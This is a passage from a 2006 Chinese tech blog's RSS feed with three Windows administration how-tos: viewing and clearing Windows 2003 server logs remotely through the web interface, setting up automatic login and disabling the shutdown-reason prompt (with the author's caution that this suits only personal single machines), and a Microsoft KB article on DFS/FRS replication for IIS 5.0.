		<a href="http:///System/Server/index.html" target="_blank">
				<font face="宋体">服务器</font>
		</a>
		<font face="宋体">出现故障的原因。<br /><br />一般情况下，网管都是在本地查看日志记录，由于目前的局域网规模都比较大，因此网管不可能每天都呆在</font>
		<a href="http:///System/Server/index.html" target="_blank">
				<font face="宋体">服务器</font>
		</a>
		<font face="宋体">旁。一旦远离</font>
		<a href="http:///System/Server/index.html" target="_blank">
				<font face="宋体">服务器</font>
		</a>
		<font face="宋体">，网管就很难及时了解到</font>
		<a href="http:///System/Server/index.html" target="_blank">
				<font face="宋体">服务器</font>
		</a>
		<a href="http:///System/index.html" target="_blank">
				<font face="宋体">系统</font>
		</a>
		<font face="宋体">的运行状况，维护工作便会受到影响。现在，利用Windows Server 2003(简称Windows 2003)提供的Web访问接口功能就可解决这个问题，让网管能够远程查看Windows 2003</font>
		<a href="http:///System/Server/index.html" target="_blank">
				<font face="宋体">服务器</font>
		</a>
		<font face="宋体">的日志记录。<br /><br />远程查看Windows 2003</font>
		<a href="http:///System/Server/index.html" target="_blank">
				<font face="宋体">服务器</font>
		</a>
		<font face="宋体">的日志记录非常简单。在远程客户端(可采用Windows 98/2000/XP/2003</font>
		<a href="http:///System/index.html" target="_blank">
				<font face="宋体">系统</font>
		</a>
		<font face="宋体">)，运行IE浏览器，在地址栏中输入“https://Win2003</font>
		<a href="http:///System/Server/index.html" target="_blank">
				<font face="宋体">服务器</font>
		</a>
		<font face="宋体">IP地址:8098”，如“https://192.168.0.1:8098”。在弹出的登录对话框中输入管理员的用户名和密码，点击“确定”按钮即可登录Web访问接口管理界面。接着在“欢迎使用”界面中点击“维护”链接，切换到“维护”管理页面，然后点击“日志”链接，进入到日志管理页面。在日志管理页面中，管理员可以查看、下载或清除Windows 2003</font>
		<a href="http:///System/Server/index.html" target="_blank">
				<font face="宋体">服务器</font>
		</a>
		<font face="宋体">日志。<br /><br />在日志管理页面中可列出Windows 2003</font>
		<a href="http:///System/Server/index.html" target="_blank">
				<font face="宋体">服务器</font>
		</a>
		<font face="宋体">的所有日志分类，如应用</font>
		<a href="http:///Dev/index.html" target="_blank">
				<font face="宋体">程序</font>
		</a>
		<font face="宋体">日志、安全日志、</font>
		<a href="http:///System/index.html" target="_blank">
				<font face="宋体">系统</font>
		</a>
		<font face="宋体">日志、Web管理日志等。<br /><br />查看某类日志记录非常简单，笔者以查看Web管理日志为例，点击“Web管理日志”链接，进入日志查看页面，在日志</font>
		<a href="http:///Soft/Tools/File/index.html" target="_blank">
				<font face="宋体">文件</font>
		</a>
		<font face="宋体">列表框中选中要查看的日志</font>
		<a href="http:///Soft/Tools/File/index.html" target="_blank">
				<font face="宋体">文件</font>
		</a>
		<font face="宋体">，然后点击右侧的“查看日志”按钮，就能浏览Web管理日志记录中的详细内容了。<br /><br />清除某个日志</font>
		<a href="http:///Soft/Tools/File/index.html" target="_blank">
				<font face="宋体">文件</font>
		</a>
		<font face="宋体">也很简单，选中该日志</font>
		<a href="http:///Soft/Tools/File/index.html" target="_blank">
				<font face="宋体">文件</font>
		</a>
		<font face="宋体">后，点击“清除”按钮即可。如果你觉得远程查看日志不方便，想在本地机器中进行查看，这时你可以将日志</font>
		<a href="http:///Soft/Tools/File/index.html" target="_blank">
				<font face="宋体">文件</font>
		</a>
		<font face="宋体">下载到本地硬盘。选中某个日志</font>
		<a href="http:///Soft/Tools/File/index.html" target="_blank">
				<font face="宋体">文件</font>
		</a>
		<font face="宋体">，然后点击“下载日志”按钮，在弹出的“</font>
		<a href="http:///Soft/Tools/File/index.html" target="_blank">
				<font face="宋体">文件</font>
		</a>
		<font face="宋体">下载”对话框中点击“保存”按钮并指定存放路径即可</font>
<img src ="http://www.cppblog.com/cqyangjf/aggbug/10124.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cppblog.com/cqyangjf/" target="_blank">小丑</a> 2006-07-16 14:39 <a href="http://www.cppblog.com/cqyangjf/archive/2006/07/16/10124.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>根治Windows2003操作系统登录及关机麻烦</title><link>http://www.cppblog.com/cqyangjf/archive/2006/07/16/10122.html</link><dc:creator>小丑</dc:creator><author>小丑</author><pubDate>Sun, 16 Jul 2006 06:38:00 GMT</pubDate><guid>http://www.cppblog.com/cqyangjf/archive/2006/07/16/10122.html</guid><wfw:comment>http://www.cppblog.com/cqyangjf/comments/10122.html</wfw:comment><comments>http://www.cppblog.com/cqyangjf/archive/2006/07/16/10122.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cppblog.com/cqyangjf/comments/commentRss/10122.html</wfw:commentRss><trackback:ping>http://www.cppblog.com/cqyangjf/services/trackbacks/10122.html</trackback:ping><description><![CDATA[
		<font face="宋体">不少朋友在使用Windows 2003这款操作</font>
		<a href="http:///System/index.html" target="_blank">
				<font face="宋体">系统</font>
		</a>
		<font face="宋体">时，常常会在登录和关机时遇到了小麻烦，比如登录时要按Ctrl+Alt+Delete这三个键才能出现登录面板，接着还要输入用户名及密码才能登录；“关机原因”虽然是Windows 2003新增的一项提高安全性的服务，但在关机时需要输入原因才能正常关行，尽管输入的关机原因只需输入一个</font>
		<a href="http:///Dev/Programme/VC/Str/index.html" target="_blank">
				<font face="宋体">字符</font>
		</a>
		<font face="宋体">即可，但毕竟多了一道“工续”。如何才能让Windows 2003实现自动登录及普通关机呢？在此以Windows 2003 Server Enterprise Edition(企业版)为例，通过以下方法可以实现：一、登录的设置1、输入命令行打开“开始”→“运行”，在“运行”一栏中输入“Rundll32 netplwiz.dll,UsersRunDll”命令打开用户帐户窗口(注意区分大小写)，去除“要使用本机，用户必须输入用户名密码”复选框中的勾号<br />这样在下次登录时就可自动登录了。若要选择不同的帐户，只要在启动时按“Shift”键就可以了。2、修改注册表通过改动注册表可实现自动登陆，方法是打开“开始”→“运行”，在“运行”一栏中输入“Regedit”命令打开注册表编辑器，依次打开HKEY_LOCAL_MACHIN\SOFTWARE\Microsoft\Windows" NT\CurrentVersion\Winlogon，在右侧窗口分别新键<a href="http:///Dev/Programme/VC/Str/index.html" target="_blank">字符</a>串值autoadminlogon：键值为1；defaultpassword：键值为自动登陆用户的密码。其中在注册表中有defaultusername这个<a href="http:///Dev/Programme/VC/Str/index.html" target="_blank">字符</a>串值，其默认键值是Administrator，您也可将它更改为自己所需要的管理员帐号。3、应用软件法软件名称：TweakUI 2.10 汉化版下载地址： http://www.onlinedown.net/soft/26929.htm     该软件用法简单，将它下载、安装后，双击该<a href="http:///Dev/index.html" target="_blank">程序</a>，在出现的窗口中点击“登录”→“自动登录”，将“<a href="http:///System/index.html" target="_blank">系统</a>启动时自动登录”前的复选框打上勾号，<br />点击“应用”按钮后，在弹出的对话框中输入并确认密码，最后按“确定”即可。二、关机的设置1、编辑组策略打开“开始”-“运行”，在“打开”一栏中输入“gpedit.msc”命令打开组策略编辑器，依次展开“计算机配置”→“管理模板”→“<a href="http:///System/index.html" target="_blank">系统</a>”，双击右侧窗口出现的“显示‘关闭事件跟踪<a href="http:///Dev/index.html" target="_blank">程序</a>’”，将“未配置”改为“已禁用”即可。<br />2、修改注册表打开“开始”→“运行”，在“运行”一栏中输入“Regedit”命令打开注册表编辑器，依次打开HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows" NT，新建一个项,将其取名为“Reliability”，而后在右侧窗口中再新建一个DWORD值，取名为“ShutdownReasonOn”，将它的值设为0就可以了。3、电源巧设置进行电源设置最为简便，只要依次打开“开始”“控制面板”“电源选项”，在出现“电脑选项属性”点选“高级”选项卡，将“在按下计算机电源按钮时”设置为“关机”，然后按“确定”完成。当您需要关机时，只要直接揿下电脑主机上的电源开关或键盘上的Power键(需主板支持)就可直接完成关机动作了。以上种种方法其实都是异曲同工：大部分方法的原理都是基于对<a href="http:///System/index.html" target="_blank">系统</a>注册表进行相应的改动，只是实现手段有难易之分而已，对此有兴趣的朋友不妨多加尝试。小提示：以上用法仅限于个人用户单机使用，如果您的电脑为<a href="http:///Net/index.html" target="_blank">网络</a>中的<a href="http:///System/Server/index.html" target="_blank">服务器</a>或者有其它重要资料，为了安全还是建议沿用Windows 2003的默认设置为宜。</font>
<img src ="http://www.cppblog.com/cqyangjf/aggbug/10122.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cppblog.com/cqyangjf/" target="_blank">小丑</a> 2006-07-16 14:38 <a href="http://www.cppblog.com/cqyangjf/archive/2006/07/16/10122.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>使用最常见的命令设置 IIS 5.0 文件和文件夹复制</title><link>http://www.cppblog.com/cqyangjf/archive/2006/07/16/10117.html</link><dc:creator>小丑</dc:creator><author>小丑</author><pubDate>Sun, 16 Jul 2006 00:39:00 GMT</pubDate><guid>http://www.cppblog.com/cqyangjf/archive/2006/07/16/10117.html</guid><wfw:comment>http://www.cppblog.com/cqyangjf/comments/10117.html</wfw:comment><comments>http://www.cppblog.com/cqyangjf/archive/2006/07/16/10117.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cppblog.com/cqyangjf/comments/commentRss/10117.html</wfw:commentRss><trackback:ping>http://www.cppblog.com/cqyangjf/services/trackbacks/10117.html</trackback:ping><description><![CDATA[
		<h2 class="subTitle" id="tocHeadRef">概要</h2>
		<script type="text/javascript"><![CDATA[oadTOCNode(1, 'summary');]]&gt;</script>
		<div class="sbody">本文介绍了如何设置服务器间 Internet 数据的复制。 这些步骤涵盖最常见的方法，即使用分布式文件系统 (DFS) 和文件复制服务 (FRS)。 在执行这些步骤前，需要设置 Internet 文件夹。 Domain Administrators 组成员在运行 Internet Information Services (IIS) 5.0 的域控制器系统上执行了以下步骤。 <br /><br /><span><a id="2"></a></span><div class="topOfPage"><table><tbody><tr><td class="image"><a href="http://support.microsoft.com/default.aspx?scid=kb;zh-cn;311398&amp;sd=tech#top"><img title="回到顶端" alt="回到顶端" src="http://support.microsoft.com/library/images/support/en-us/uparrow.gif" /></a></td><td class="text"><a href="http://support.microsoft.com/default.aspx?scid=kb;zh-cn;311398&amp;sd=tech#top">回到顶端</a></td></tr></tbody></table></div><h3 id="tocHeadRef">为 Internet 数据文件夹启用 DFS</h3><script type="text/javascript"><![CDATA[oadTOCNode(2, 'summary');]]&gt;</script><table class="list ol"><tbody><tr><td class="number">1.</td><td class="text">单击<b>开始</b>，指向<b>程序</b>，指向<b>管理工具</b>，然后单击<b>分布式文件系统</b>来启动 DFS 管理单元。</td></tr><tr><td class="number">2.</td><td class="text">右键单击<b>分布式文件系统</b>，指向<b>新建</b>，然后单击“<strong class="uiterm">新建 Dfs 根目录</strong>”。 </td></tr><tr><td class="number">3.</td><td class="text">在“<strong class="uiterm">欢迎使用新建 Dfs 根目录向导</strong>”屏幕上，单击<b>下一步</b>。 </td></tr><tr><td class="number">4.</td><td class="text">在“<strong class="uiterm">选择 Dfs 根目录类型</strong>”屏幕上，单击选择“<strong class="uiterm">创建一个域 Dfs 根目录</strong>”，然后单击<b>下一步</b>。 </td></tr><tr><td class="number">5.</td><td class="text">在“<strong class="uiterm">选择此 Dfs 根目录的主域</strong>”屏幕上，在“<strong class="uiterm">域名</strong>”框中键入您的域名，在<b>信任域</b>框中单击选择信任的域，然后单击<b>下一步</b>。 </td></tr><tr><td class="number">6.</td><td class="text">在“<strong class="uiterm">为此 Dfs 根目录选择主持服务器</strong>”屏幕上，在“<strong class="uiterm">服务器名</strong>”框中键入主持服务器的名称，然后单击<b>下一步</b>。 </td></tr><tr><td class="number">7.</td><td class="text">在“<strong class="uiterm">指定 Dfs 根目录共享</strong>”屏幕上，单击选择“<strong class="uiterm">新建共享</strong>”，在“<strong class="uiterm">共享路径</strong>”框中键入共享路径，在“<strong class="uiterm">共享名</strong>”框中为共享键入一个描述性名称，然后单击<b>下一步</b>。 </td></tr><tr><td class="number">8.</td><td class="text">在“<strong class="uiterm">命名 Dfs 根目录</strong>”屏幕上，在“<strong class="uiterm">Dfs 根目录名</strong>”框中为新的根目录键入一个唯一名称，在<b>注释</b>框中键入有关新根目录的相应注释，然后单击<b>下一步</b>。 </td></tr><tr><td class="number">9.</td><td class="text">检查创建信息，然后单击<b>完成</b>。 </td></tr></tbody></table><span><a id="3"></a></span><div class="topOfPage"><table><tbody><tr><td class="image"><a href="http://support.microsoft.com/default.aspx?scid=kb;zh-cn;311398&amp;sd=tech#top"><img title="回到顶端" alt="回到顶端" src="http://support.microsoft.com/library/images/support/en-us/uparrow.gif" /></a></td><td class="text"><a href="http://support.microsoft.com/default.aspx?scid=kb;zh-cn;311398&amp;sd=tech#top">回到顶端</a></td></tr></tbody></table></div><h3 id="tocHeadRef">启用 FRS 复制</h3><script type="text/javascript"><![CDATA[oadTOCNode(2, 'summary');]]&gt;</script><table class="list ol"><tbody><tr><td class="number">1.</td><td class="text">打开 DFS 管理单元：单击<b>开始</b>，指向<b>程序</b>，指向<b>管理工具</b>，然后单击<b>分布式文件系统</b>。 </td></tr><tr><td class="number">2.</td><td class="text">右键单击副本集的 DFS 链接，然后单击<b>复制策略</b>。 </td></tr><tr><td class="number">3.</td><td class="text">在<b>复制策略</b>对话框中，单击<b>启用</b>，然后单击<b>确定</b>。<b>备注</b>： 如果是首次启用复制，启用的第一台服务器（初始主机）上的文件和文件夹就成为权威，即在第一个复制周期，在多主机复制生效之前将这些文件和文件夹复制到其他副本。 </td></tr></tbody></table><span><a id="6"></a></span><div class="topOfPage"><table><tbody><tr><td class="image"><a href="http://support.microsoft.com/default.aspx?scid=kb;zh-cn;311398&amp;sd=tech#top"><img title="回到顶端" alt="回到顶端" src="http://support.microsoft.com/library/images/support/en-us/uparrow.gif" /></a></td><td class="text"><a href="http://support.microsoft.com/default.aspx?scid=kb;zh-cn;311398&amp;sd=tech#top">回到顶端</a></td></tr></tbody></table></div><h3 id="tocHeadRef">为其他服务器创建根目录副本</h3><script type="text/javascript"><![CDATA[oadTOCNode(2, 'summary');]]&gt;</script><table class="list ol"><tbody><tr><td class="number">1.</td><td class="text">在“分布式文件系统”管理单元控制台树中，右键单击副本集的 DFS 链接，然后单击“新建根目录副本”。 </td></tr><tr><td class="number">2.</td><td class="text">在“<strong class="uiterm">为此 Dfs 根目录选择主持服务器</strong>”屏幕上，在“<strong class="uiterm">服务器名</strong>”框中键入将访问该文件夹的另一台服务器的名称，然后单击<b>下一步</b>。 </td></tr><tr><td class="number">3.</td><td class="text">在“<strong class="uiterm">命名 Dfs 根目录</strong>”屏幕上，在“<strong class="uiterm">Dfs 根目录名</strong>”框中为现有根目录键入一个唯一名称，在<b>注释</b>框中键入有关新根目录的相应注释，然后单击<b>下一步</b>。 </td></tr><tr><td class="number">4.</td><td class="text">检查创建信息，然后单击<b>完成</b>。 </td></tr></tbody></table><span><a id="4"></a></span><div class="topOfPage"><table><tbody><tr><td class="image"><a href="http://support.microsoft.com/default.aspx?scid=kb;zh-cn;311398&amp;sd=tech#top"><img title="回到顶端" alt="回到顶端" src="http://support.microsoft.com/library/images/support/en-us/uparrow.gif" /></a></td><td class="text"><a href="http://support.microsoft.com/default.aspx?scid=kb;zh-cn;311398&amp;sd=tech#top">回到顶端</a></td></tr></tbody></table></div><h3 id="tocHeadRef">疑难解答</h3><script type="text/javascript"><![CDATA[oadTOCNode(2, 'summary');]]&gt;</script><table class="list ul"><tbody><tr><td class="bullet">•</td><td class="text">独立 DFS 在本地计算机的注册表中存储其配置。 这是为了保持与以前版本 DFS 的向后兼容性。 独立 DFS 根目录具有以下特点： 
<table class="list ul"><tbody><tr><td class="bullet">•</td><td class="text">它不使用 Active Directory（或 FRS）。 </td></tr><tr><td class="bullet">•</td><td class="text">它不能在根目录级拥有副本。 </td></tr></tbody></table><br /></td></tr><tr><td class="bullet">•</td><td class="text">不允许进行复制，即在以下条件下不能使用共享文件夹： 
<table class="list ul"><tbody><tr><td class="bullet">•</td><td class="text">没有安装 FRS 的计算机上的共享文件夹。 </td></tr><tr><td class="bullet">•</td><td class="text">与 Windows 2000 中使用的 NTFS 文件系统版本不同的共享文件夹。</td></tr><tr><td class="bullet">•</td><td class="text">在其路径名中使用群集名的共享文件夹。 </td></tr><tr><td class="bullet">•</td><td class="text">不属于 Windows 2000 域的计算机上的共享文件夹。 </td></tr><tr><td class="bullet">•</td><td class="text">当前登录用户不能访问其域的计算机上的共享文件夹。 </td></tr></tbody></table><br /></td></tr><tr><td class="bullet">•</td><td class="text">此外，以下事件不会触发复制： 
<table class="list ul"><tbody><tr><td class="bullet">•</td><td class="text">对文件或文件夹上次访问时间的更改。 </td></tr><tr><td class="bullet">•</td><td class="text">对文件或文件夹存档位的更改。 </td></tr></tbody></table></td></tr></tbody></table><span><a id="5"></a></span><div class="topOfPage"><table><tbody><tr><td class="image"><a href="http://support.microsoft.com/default.aspx?scid=kb;zh-cn;311398&amp;sd=tech#top"><img title="回到顶端" alt="回到顶端" src="http://support.microsoft.com/library/images/support/en-us/uparrow.gif" /></a></td><td class="text"><a href="http://support.microsoft.com/default.aspx?scid=kb;zh-cn;311398&amp;sd=tech#top">回到顶端</a></td></tr></tbody></table></div><h3 id="tocHeadRef">参考</h3><script type="text/javascript"><![CDATA[oadTOCNode(2, 'summary');]]&gt;</script>
有关对群集服务使用文件复制的更多信息，请参见以下 Microsoft Web 站点： 
<div class="indent"><span class="ll"><a href="http://www.microsoft.com/resources/documentation/windows/2000/server/reskit/en-us/default.asp">http://www.microsoft.com/resources/documentation/windows/2000/server/reskit/en-us/default.asp</a></span><span class="pLink"> (http://www.microsoft.com/resources/documentation/windows/2000/server/reskit/en-us/default.asp)</span></div>有关其他信息，请单击下列文章编号，查看相应的 Microsoft 知识库文章： 
<div class="indent"><a class="KBlink" href="http://support.microsoft.com/kb/229928/EN-US/">229928</a><span class="pLink"> (http://support.microsoft.com/kb/229928/EN-US/)</span> Design Decisions, Defaults and Behavior for FRS File and Folder Filters in DFS and SYSVOL Replica Sets（DFS 和 SYSVOL 副本集中 FRS 文件和文件夹筛选器的设计策略、默认值及行为）</div><div class="indent"><a class="KBlink" href="http://support.microsoft.com/kb/241452/EN-US/">241452</a><span class="pLink"> (http://support.microsoft.com/kb/241452/EN-US/)</span> How to Install Distributed File System (DFS) on Windows 2000（如何在 Windows 2000 上安装分布式文件系统 (DFS)）</div></div>
<img src ="http://www.cppblog.com/cqyangjf/aggbug/10117.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cppblog.com/cqyangjf/" target="_blank">小丑</a> 2006-07-16 08:39 <a href="http://www.cppblog.com/cqyangjf/archive/2006/07/16/10117.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item></channel></rss>